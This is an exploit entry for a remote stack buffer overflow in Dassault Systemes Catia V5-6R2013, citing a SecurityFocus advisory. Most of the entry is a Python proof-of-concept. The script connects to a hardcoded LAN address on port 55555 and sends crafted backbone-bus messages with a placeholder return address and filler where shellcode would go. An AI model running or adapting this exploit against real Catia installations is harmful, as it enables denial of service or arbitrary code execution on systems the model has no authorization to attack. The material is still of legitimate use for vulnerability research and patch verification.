Dassault Systemes Catia – Remote Stack Buffer Overflow
source: https://www.securityfocus.com/bid/65675/info Catia is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary-checks on user-supplied input. An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition. Catia V5-6R2013 is vulnerable. #!/usr/bin/env python import socket import struct import ctypes RetAdd="\x90\x90\x90\x90" Shell="S" *1000 buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.0.3", 55555)) #s.connect(("192.168.0.5", 55558)) s.send(struct.pack('>I',len(buff) )) s.send(buff) buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell s.send(struct.pack('>I',len(buff) )) s.send(buff) |
